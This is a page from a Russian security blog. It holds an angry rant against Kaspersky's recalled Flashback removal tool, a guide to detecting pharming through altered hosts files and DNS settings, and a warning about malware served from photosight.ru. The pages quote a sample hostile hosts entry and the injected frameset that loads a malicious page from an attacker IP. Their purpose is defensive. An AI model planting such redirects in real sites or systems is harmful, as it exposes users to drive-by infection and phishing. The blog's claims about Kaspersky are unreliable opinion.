Касперский в своем репердуаре

Я много раз лечил здоровые и зараженные компы путем выпиливания антивируса Касперского и установкой Dr.Web или NOD32. Всем давно известно, что Касперский скорее калечит систему, чем лечит. И вот снова, пиарясь на волне нового вируса под Java на OS X, Kaspersky жидко обосрались:

kasp3

Компания «Лаборатория Касперского» была вынуждена из-за критической ошибки отозвать первую версию своей бесплатной разработки Kaspersky Flashfake Removal Tool для борьбы с ботнетом Flashback, состоящим из компьютеров под управлением OS X. В ночь на 13 апреля была выпущена обновленная версия программы.

«Лаборатория Касперского» сообщила, что недавно выпущенный антивирусной компанией инструмент для удаления трояна, известного под названиями Flashback и Flashfake, поражающего компьютеры Apple под управлением OS X, оказался недоработанным и включал в себя ошибку.

Бесплатная программа от «Лаборатории Касперского» для удаления Flashback/Flashfake была выпущена на этой неделе. Она предназначена для удаления с компьютеров трояна, который, по информации экспертов в области компьютерной безопасности, уже заразил более 670 тыс. компьютеров по всему миру, став крупнейшим вирусом для OS X в истории.

via CNews

Чем ставить говно от Касперского, лучше удалить вирус вручную, как советуют в F-Secure, и установить Little Snitch. Проверить, есть ли вирус на компьютере можно самостоятельно. Запустите команду:

Читать остальную часть заметки »

Теги: , , , , , , , ,

Защита от фарминг-атаки

Фарминг-атаки – это атаки, при которых браузер пользователя скрытно направляется на фишинговый (поддельный) сайт.

Файл hosts

По умолчанию, файл HOSTS лежит в каталоге %SYSTEMROOT%\system32\drivers\etc (другой вариант указания пути: %WINDIR%\system32\drivers\etc).

Вирус изменяет этот файл, прописывая (добавляя) там строку с IP-адресом и именем фишингового сайта (точнее, подделываемого):

1.1.1.1 vkontakte.ru

Теперь при заходе на сайт ВКонтакте, браузер пользователя будет загружать его с адреса злоумышленника – 1.1.1.1.

Для восстановления работоспособности, в файле HOSTS следует удалить все строчки, оставив только 127.0.0.1 localhost и те, которые лично вы туда добавляли (если добавляли). Не забудьте сменить пароли ко всем веб-сервисам, которыми вы пользуетесь и фишинговые сайты которых были указаны в измененном файле HOSTS.

/!\ Важно! После внесения изменений в файл HOSTS, следует перезапустить все открытые браузеры, а лучше всего, – перезагрузить компьютер.

Местоположение файла HOSTS

Модификацию файла HOSTS легко обнаружить. В поисках путей повышения скрытности своих действий, злоумышленники придумали изменять местоположение файла HOSTS. Путь к файлу HOSTS может быть изменен путем определения нового значения в ключе системного реестра DataBasePath ветки HKLM\System\ControlSet001\Services\tcpip\parameters (лучше посмотреть все ветки, начиная с CurrentControlSet и до ControlSet001/N). Так Trojan.BAT.Delude.e создает собственный файл HOSTS в каталоге %WINDIR%\Help и устанавливает путь к нему в системном реестре, а Trojan-Downloader.Win32.Esepor.z устанавливает путь %WINDIR%\NSDB к файлу HOSTS.

hosts

Если в данном ключе прописан путь, отличный от %SystemRoot%\System32\drivers\etc, то проверьте файл HOSTS по указанному там пути, чтобы узнать, к каким сайтам имеет смысл менять пароли. Затем поменяйте путь на стандартный, а зловредный файл HOSTS удалите.

Проверка настроек DNS-серверов

Еще один метод фарминга заключается в указании DNS-серверов злоумышленника. Например, вредоносная программаTrojan.Win32.DNSChanger.pwf заменяет указанные в операционной системе DNS-сервера на DNS-сервера злоумышленников путем изменений в системном реестре.

Для обнаружения такого типа фарминг-атаки выполните команду:

ipconfig /all

которая выведет вам все настройки сетевых интерфейсов. Проверьте указанные там "DNS Servers" и сравните их с выданными вам вашим провайдером.
Если обнаружите, что DNS-сервера подменены, то восстановить корректные значения можно в настройках свойств TCP/IP.

по материалам habrahabr


Теги: , , , , , , , , , , , , , ,

Осторожно, вирусы

Сайт photosight.ru сегодня радует своих посетителей java-вирусом. Браузер открывает страницу по коду: <html><frameset rows="100%"><frame src="http://194.8.250.211/tds/in.cgi?2"></frameset></html> и скачивает вирус. Рекомендую заблокировать следующие адреса:
178.63.170.185 (код)
194.8.250.213 (код)
194.8.250.211 (тело вируса)

Сайт уже попал в черный список Google и браузеры выводят предупреждающую страницу.

Как именно подгружается скрипт пока не наковырял, предполагаю, что есть уязвимость в рекламной (баннерной) системе openx1.photosight.ru.

UPDATE

Зараженный файл: http://openx1.photosight.ru/www/delivery/ajs.php

Написал письмо в службу поддержки сайта.


Теги: , , , , , , , ,